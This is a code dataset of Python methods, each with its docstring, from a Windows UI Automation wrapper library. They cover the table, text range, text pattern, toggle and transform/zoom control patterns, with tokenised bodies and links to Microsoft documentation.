{"signature": "def Cancel(self) -> bool:", "body": "return self.pattern.Cancel() == S_OK<EOL>", "docstring": "Call IUIAutomationSynchronizedInputPattern::Cancel.\nCause the Microsoft UI Automation provider to stop listening for mouse or keyboard input.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationsynchronizedinputpattern-cancel", "id": "f1782:c64:m1"}
{"signature": "def StartListening(self) -> bool:", "body": "return self.pattern.StartListening() == S_OK<EOL>", "docstring": "Call IUIAutomationSynchronizedInputPattern::StartListening.\nCause the Microsoft UI Automation provider to start listening for mouse or keyboard input.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationsynchronizedinputpattern-startlistening", "id": "f1782:c64:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtableitempattern", "id": "f1782:c65:m0"}
{"signature": "def GetColumnHeaderItems(self) -> list:", "body": "eleArray = self.pattern.GetCurrentColumnHeaderItems()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTableItemPattern::GetCurrentColumnHeaderItems.\nReturn list, a list of `Control` subclasses, the column headers associated with a table item or cell.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtableitempattern-getcurrentcolumnheaderitems", "id": "f1782:c65:m1"}
{"signature": "def GetRowHeaderItems(self) -> list:", "body": "eleArray = self.pattern.GetCurrentRowHeaderItems()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTableItemPattern::GetCurrentRowHeaderItems.\nReturn list, a list of `Control` subclasses, the row headers associated with a table item or cell.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtableitempattern-getcurrentrowheaderitems", "id": "f1782:c65:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtablepattern", "id": "f1782:c66:m0"}
{"signature": "@property<EOL><INDENT>def RowOrColumnMajor(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentRowOrColumnMajor<EOL>", "docstring": "Property RowOrColumnMajor.\nCall IUIAutomationTablePattern::get_CurrentRowOrColumnMajor.\nReturn int, a value in class `RowOrColumnMajor`, the primary direction of traversal for the table.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtablepattern-get_currentroworcolumnmajor", "id": "f1782:c66:m1"}
{"signature": "def GetColumnHeaders(self) -> list:", "body": "eleArray = self.pattern.GetCurrentColumnHeaders()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTablePattern::GetCurrentColumnHeaders.\nReturn list, a list of `Control` subclasses, representing all the column headers in a table..\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtablepattern-getcurrentcolumnheaders", "id": "f1782:c66:m2"}
{"signature": "def GetRowHeaders(self) -> list:", "body": "eleArray = self.pattern.GetCurrentRowHeaders()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTablePattern::GetCurrentRowHeaders.\nReturn list, a list of `Control` subclasses, representing all the row headers in a table.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtablepattern-getcurrentrowheaders", "id": "f1782:c66:m3"}
{"signature": "def __init__(self, textRange=None):", "body": "self.textRange = textRange<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtextrange", "id": "f1782:c67:m0"}
{"signature": "def AddToSelection(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.textRange.AddToSelection() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::AddToSelection.\nAdd the text range to the collection of selected text ranges in a control that supports multiple, disjoint spans of selected text.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-addtoselection", "id": "f1782:c67:m1"}
{"signature": "def Clone(self) -> '<STR_LIT>':", "body": "return TextRange(textRange=self.textRange.Clone())<EOL>", "docstring": "Call IUIAutomationTextRange::Clone.\nreturn `TextRange`, identical to the original and inheriting all properties of the original.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-clone", "id": "f1782:c67:m2"}
{"signature": "def Compare(self, textRange: '<STR_LIT>') -> bool:", "body": "return bool(self.textRange.Compare(textRange.textRange))<EOL>", "docstring": "Call IUIAutomationTextRange::Compare.\ntextRange: `TextRange`.\nReturn bool, specifies whether this text range has the same endpoints as another text range.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-compare", "id": "f1782:c67:m3"}
{"signature": "def CompareEndpoints(self, srcEndPoint: int, textRange: '<STR_LIT>', targetEndPoint: int) -> int:", "body": "return self.textRange.CompareEndpoints(srcEndPoint, textRange, targetEndPoint)<EOL>", "docstring": "Call IUIAutomationTextRange::CompareEndpoints.\nsrcEndPoint: int, a value in class `TextPatternRangeEndpoint`.\ntextRange: `TextRange`.\ntargetEndPoint: int, a value in class `TextPatternRangeEndpoint`.\nReturn int, a negative value if the caller's endpoint occurs earlier in the text than the target endpoint;\n            0 if the caller's endpoint is at the same location as the target endpoint;\n            or a positive value if the caller's endpoint occurs later in the text than the target endpoint.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-compareendpoints", "id": "f1782:c67:m4"}
{"signature": "def ExpandToEnclosingUnit(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.textRange.ExpandToEnclosingUnit() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::ExpandToEnclosingUnit.\nNormalize the text range by the specified text unit.\n    The range is expanded if it is smaller than the specified unit,\n    or shortened if it is longer than the specified unit.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-expandtoenclosingunit", "id": "f1782:c67:m5"}
{"signature": "def FindAttribute(self, textAttributeId: int, val, backward: bool) -> '<STR_LIT>':", "body": "textRange = self.textRange.FindAttribute(textAttributeId, val, int(backward))<EOL>if textRange:<EOL><INDENT>return TextRange(textRange=textRange)<EOL><DEDENT>", "docstring": "Call IUIAutomationTextRange::FindAttribute.\ntextAttributeID: int, a value in class `TextAttributeId`.\nval: COM VARIANT according to textAttributeId? todo.\nbackward: bool, True if the last occurring text range should be returned instead of the first; otherwise False.\nreturn `TextRange` or None, a text range subset that has the specified text attribute value.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-findattribute", "id": "f1782:c67:m6"}
{"signature": "def FindText(self, text: str, backward: bool, ignoreCase: bool) -> '<STR_LIT>':", "body": "textRange = self.textRange.FindText(text, int(backward), int(ignoreCase))<EOL>if textRange:<EOL><INDENT>return TextRange(textRange=textRange)<EOL><DEDENT>", "docstring": "Call IUIAutomationTextRange::FindText.\ntext: str,\nbackward: bool, True if the last occurring text range should be returned instead of the first; otherwise False.\nignoreCase: bool, True if case should be ignored; otherwise False.\nreturn `TextRange` or None, a text range subset that contains the specified text.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-findtext", "id": "f1782:c67:m7"}
{"signature": "def GetAttributeValue(self, textAttributeId: int) -> ctypes.POINTER(comtypes.IUnknown):", "body": "return self.textRange.GetAttributeValue(textAttributeId)<EOL>", "docstring": "Call IUIAutomationTextRange::GetAttributeValue.\ntextAttributeId: int, a value in class `TextAttributeId`.\nReturn `ctypes.POINTER(comtypes.IUnknown)` or None, the value of the specified text attribute across the entire text range, todo.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-getattributevalue", "id": "f1782:c67:m8"}
{"signature": "def GetBoundingRectangles(self) -> list:", "body": "floats = self.textRange.GetBoundingRectangles()<EOL>rects = []<EOL>for i in range(len(floats) // <NUM_LIT:4>):<EOL><INDENT>rect = Rect(int(floats[i * <NUM_LIT:4>]), int(floats[i * <NUM_LIT:4> + <NUM_LIT:1>]),<EOL>int(floats[i * <NUM_LIT:4>]) + int(floats[i * <NUM_LIT:4> + <NUM_LIT:2>]), int(floats[i * <NUM_LIT:4> + <NUM_LIT:1>]) + int(floats[i * <NUM_LIT:4> + <NUM_LIT:3>]))<EOL>rects.append(rect)<EOL><DEDENT>return rects<EOL>", "docstring": "Call IUIAutomationTextRange::GetBoundingRectangles.\ntextAttributeId: int, a value in class `TextAttributeId`.\nReturn list, a list of `Rect`.\n    bounding rectangles for each fully or partially visible line of text in a text range..\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-getboundingrectangles\n\nfor rect in textRange.GetBoundingRectangles():\n    print(rect.left, rect.top, rect.right, rect.bottom, rect.width(), rect.height(), rect.xcenter(), rect.ycenter())", "id": "f1782:c67:m9"}
{"signature": "def GetChildren(self) -> list:", "body": "eleArray = self.textRange.GetChildren()<EOL>if eleArray:<EOL><INDENT>controls = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>con = Control.CreateControlFromElement(element=ele)<EOL>if con:<EOL><INDENT>controls.append(con)<EOL><DEDENT><DEDENT>return controls<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTextRange::GetChildren.\ntextAttributeId: int, a value in class `TextAttributeId`.\nReturn list, a list of `Control` subclasses, embedded objects that fall within the text range..\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-getchildren", "id": "f1782:c67:m10"}
{"signature": "def GetEnclosingControl(self) -> '<STR_LIT>':", "body": "return Control.CreateControlFromElement(self.textRange.GetEnclosingElement())<EOL>", "docstring": "Call IUIAutomationTextRange::GetEnclosingElement.\nReturn `Control` subclass, the innermost UI Automation element that encloses the text range.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-getenclosingelement", "id": "f1782:c67:m11"}
{"signature": "def GetText(self, maxLength: int = -<NUM_LIT:1>) -> str:", "body": "return self.textRange.GetText(maxLength)<EOL>", "docstring": "Call IUIAutomationTextRange::GetText.\nmaxLength: int, the maximum length of the string to return, or -1 if no limit is required.\nReturn str, the plain text of the text range.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-gettext", "id": "f1782:c67:m12"}
{"signature": "def Move(self, unit: int, count: int, waitTime: float = OPERATION_WAIT_TIME) -> int:", "body": "ret = self.textRange.Move(unit, count)<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::Move.\nMove the text range forward or backward by the specified number of text units.\nunit: int, a value in class `TextUnit`.\ncount: int, the number of text units to move.\n       A positive value moves the text range forward.\n       A negative value moves the text range backward. Zero has no effect.\nwaitTime: float.\nReturn: int, the number of text units actually moved.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-move", "id": "f1782:c67:m13"}
{"signature": "def MoveEndpointByRange(self, srcEndPoint: int, textRange: '<STR_LIT>', targetEndPoint: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.textRange.MoveEndpointByRange(srcEndPoint, textRange.textRange, targetEndPoint) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::MoveEndpointByRange.\nMove one endpoint of the current text range to the specified endpoint of a second text range.\nsrcEndPoint: int, a value in class `TextPatternRangeEndpoint`.\ntextRange: `TextRange`.\ntargetEndPoint: int, a value in class `TextPatternRangeEndpoint`.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-moveendpointbyrange", "id": "f1782:c67:m14"}
{"signature": "def MoveEndpointByUnit(self, endPoint: int, unit: int, count: int, waitTime: float = OPERATION_WAIT_TIME) -> int:", "body": "ret = self.textRange.MoveEndpointByUnit(endPoint, unit, count)<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::MoveEndpointByUnit.\nMove one endpoint of the text range the specified number of text units within the document range.\nendPoint: int, a value in class `TextPatternRangeEndpoint`.\nunit: int, a value in class `TextUnit`.\ncount: int, the number of units to move.\n            A positive count moves the endpoint forward.\n            A negative count moves backward.\n            A count of 0 has no effect.\nwaitTime: float.\nReturn int, the count of units actually moved.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-moveendpointbyunit", "id": "f1782:c67:m15"}
{"signature": "def RemoveFromSelection(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.textRange.RemoveFromSelection() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::RemoveFromSelection.\nRemove the text range from an existing collection of selected text in a text container that supports multiple, disjoint selections.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-removefromselection", "id": "f1782:c67:m16"}
{"signature": "def ScrollIntoView(self, alignTop: bool = True, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.textRange.ScrollIntoView(int(alignTop)) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::ScrollIntoView.\nCause the text control to scroll until the text range is visible in the viewport.\nalignTop: bool, True if the text control should be scrolled so that the text range is flush with the top of the viewport;\n                False if it should be flush with the bottom of the viewport.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-scrollintoview", "id": "f1782:c67:m17"}
{"signature": "def Select(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.textRange.Select() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTextRange::Select.\nSelect the span of text that corresponds to this text range, and remove any previous selection.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextrange-select", "id": "f1782:c67:m18"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtextchildpattern", "id": "f1782:c68:m0"}
{"signature": "@property<EOL><INDENT>def TextContainer(self) -> '<STR_LIT>':<DEDENT>", "body": "return Control.CreateControlFromElement(self.pattern.TextContainer)<EOL>", "docstring": "Property TextContainer.\nCall IUIAutomationSelectionContainer::get_TextContainer.\nReturn `Control` subclass, the nearest ancestor element that supports the Text control pattern.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextchildpattern-get_textcontainer", "id": "f1782:c68:m1"}
{"signature": "@property<EOL><INDENT>def TextRange(self) -> TextRange:<DEDENT>", "body": "return TextRange(self.pattern.TextRange)<EOL>", "docstring": "Property TextRange.\nCall IUIAutomationSelectionContainer::get_TextRange.\nReturn `TextRange`, a text range that encloses this child element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextchildpattern-get_textrange", "id": "f1782:c68:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtexteditpattern", "id": "f1782:c69:m0"}
{"signature": "def GetActiveComposition(self) -> TextRange:", "body": "textRange = self.pattern.GetActiveComposition()<EOL>if textRange:<EOL><INDENT>return TextRange(textRange=textRange)<EOL><DEDENT>", "docstring": "Call IUIAutomationTextEditPattern::GetActiveComposition.\nReturn `TextRange` or None, the active composition.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtexteditpattern-getactivecomposition", "id": "f1782:c69:m1"}
{"signature": "def GetConversionTarget(self) -> TextRange:", "body": "textRange = self.pattern.GetConversionTarget()<EOL>if textRange:<EOL><INDENT>return TextRange(textRange=textRange)<EOL><DEDENT>", "docstring": "Call IUIAutomationTextEditPattern::GetConversionTarget.\nReturn `TextRange` or None, the current conversion target range..\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtexteditpattern-getconversiontarget", "id": "f1782:c69:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtextpattern", "id": "f1782:c70:m0"}
{"signature": "@property<EOL><INDENT>def DocumentRange(self) -> TextRange:<DEDENT>", "body": "return TextRange(self.pattern.DocumentRange)<EOL>", "docstring": "Property DocumentRange.\nCall IUIAutomationTextPattern::get_DocumentRange.\nReturn `TextRange`, a text range that encloses the main text of a document.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextpattern-get_documentrange", "id": "f1782:c70:m1"}
{"signature": "@property<EOL><INDENT>def SupportedTextSelection(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.SupportedTextSelection)<EOL>", "docstring": "Property SupportedTextSelection.\nCall IUIAutomationTextPattern::get_SupportedTextSelection.\nReturn bool, specifies the type of text selection that is supported by the control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextpattern-get_supportedtextselection", "id": "f1782:c70:m2"}
{"signature": "def GetSelection(self) -> list:", "body": "eleArray = self.pattern.GetSelection()<EOL>if eleArray:<EOL><INDENT>textRanges = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>textRanges.append(TextRange(textRange=ele))<EOL><DEDENT>return textRanges<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTextPattern::GetSelection.\nReturn list, a list of `TextRange`, represents the currently selected text in a text-based control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextpattern-getselection", "id": "f1782:c70:m3"}
{"signature": "def GetVisibleRanges(self) -> list:", "body": "eleArray = self.pattern.GetVisibleRanges()<EOL>if eleArray:<EOL><INDENT>textRanges = []<EOL>for i in range(eleArray.Length):<EOL><INDENT>ele = eleArray.GetElement(i)<EOL>textRanges.append(TextRange(textRange=ele))<EOL><DEDENT>return textRanges<EOL><DEDENT>return []<EOL>", "docstring": "Call IUIAutomationTextPattern::GetVisibleRanges.\nReturn list, a list of `TextRange`, disjoint text ranges from a text-based control\n             where each text range represents a contiguous span of visible text.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextpattern-getvisibleranges", "id": "f1782:c70:m4"}
{"signature": "def RangeFromChild(self, child) -> TextRange:", "body": "textRange = self.pattern.RangeFromChild(Control.Element)<EOL>if textRange:<EOL><INDENT>return TextRange(textRange=textRange)<EOL><DEDENT>", "docstring": "Call IUIAutomationTextPattern::RangeFromChild.\nchild: `Control` or its subclass.\nReturn `TextRange` or None, a text range enclosing a child element such as an image,\n    hyperlink, Microsoft Excel spreadsheet, or other embedded object.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextpattern-rangefromchild", "id": "f1782:c70:m5"}
{"signature": "def RangeFromPoint(self, x: int, y: int) -> TextRange:", "body": "textRange = self.pattern.RangeFromPoint(ctypes.wintypes.POINT(x, y))<EOL>if textRange:<EOL><INDENT>return TextRange(textRange=textRange)<EOL><DEDENT>", "docstring": "Call IUIAutomationTextPattern::RangeFromPoint.\nchild: `Control` or its subclass.\nReturn `TextRange` or None, the degenerate (empty) text range nearest to the specified screen coordinates.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtextpattern-rangefrompoint", "id": "f1782:c70:m6"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtextpattern2", "id": "f1782:c71:m0"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtogglepattern", "id": "f1782:c72:m0"}
{"signature": "@property<EOL><INDENT>def ToggleState(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentToggleState<EOL>", "docstring": "Property ToggleState.\nCall IUIAutomationTogglePattern::get_CurrentToggleState.\nReturn int, a value in class `ToggleState`, the state of the control.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtogglepattern-get_currenttogglestate", "id": "f1782:c72:m1"}
{"signature": "def Toggle(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Toggle() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTogglePattern::Toggle.\nCycle through the toggle states of the control.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtogglepattern-toggle", "id": "f1782:c72:m2"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtransformpattern", "id": "f1782:c73:m0"}
{"signature": "@property<EOL><INDENT>def CanMove(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanMove)<EOL>", "docstring": "Property CanMove.\nCall IUIAutomationTransformPattern::get_CurrentCanMove.\nReturn bool, indicates whether the element can be moved.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern-get_currentcanmove", "id": "f1782:c73:m1"}
{"signature": "@property<EOL><INDENT>def CanResize(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanResize)<EOL>", "docstring": "Property CanResize.\nCall IUIAutomationTransformPattern::get_CurrentCanResize.\nReturn bool, indicates whether the element can be resized.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern-get_currentcanresize", "id": "f1782:c73:m2"}
{"signature": "@property<EOL><INDENT>def CanRotate(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanRotate)<EOL>", "docstring": "Property CanRotate.\nCall IUIAutomationTransformPattern::get_CurrentCanRotate.\nReturn bool, indicates whether the element can be rotated.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern-get_currentcanrotate", "id": "f1782:c73:m3"}
{"signature": "def Move(self, x: int, y: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Move(x, y) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTransformPattern::Move.\nMove the UI Automation element.\nx: int.\ny: int.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern-move", "id": "f1782:c73:m4"}
{"signature": "def Resize(self, width: int, height: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Resize(width, height) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTransformPattern::Resize.\nResize the UI Automation element.\nwidth: int.\nheight: int.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern-resize", "id": "f1782:c73:m5"}
{"signature": "def Rotate(self, degrees: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Rotate(degrees) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTransformPattern::Rotate.\nRotates the UI Automation element.\ndegrees: int.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern-rotate", "id": "f1782:c73:m6"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationtransformpattern2", "id": "f1782:c74:m0"}
{"signature": "@property<EOL><INDENT>def CanZoom(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanZoom)<EOL>", "docstring": "Property CanZoom.\nCall IUIAutomationTransformPattern2::get_CurrentCanZoom.\nReturn bool, indicates whether the control supports zooming of its viewport.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern2-get_CurrentCanZoom", "id": "f1782:c74:m1"}
{"signature": "@property<EOL><INDENT>def ZoomLevel(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentZoomLevel<EOL>", "docstring": "Property ZoomLevel.\nCall IUIAutomationTransformPattern2::get_CurrentZoomLevel.\nReturn float, the zoom level of the control's viewport.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern2-get_currentzoomlevel", "id": "f1782:c74:m2"}
{"signature": "@property<EOL><INDENT>def ZoomMaximum(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentZoomMaximum<EOL>", "docstring": "Property ZoomMaximum.\nCall IUIAutomationTransformPattern2::get_CurrentZoomMaximum.\nReturn float, the maximum zoom level of the control's viewport.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern2-get_currentzoommaximum", "id": "f1782:c74:m3"}
{"signature": "@property<EOL><INDENT>def ZoomMinimum(self) -> float:<DEDENT>", "body": "return self.pattern.CurrentZoomMinimum<EOL>", "docstring": "Property ZoomMinimum.\nCall IUIAutomationTransformPattern2::get_CurrentZoomMinimum.\nReturn float, the minimum zoom level of the control's viewport.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern2-get_currentzoomminimum", "id": "f1782:c74:m4"}
{"signature": "def Zoom(self, zoomLevel: float, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Zoom(zoomLevel) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTransformPattern2::Zoom.\nZoom the viewport of the control.\nzoomLevel: float for int.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern2-zoom", "id": "f1782:c74:m5"}
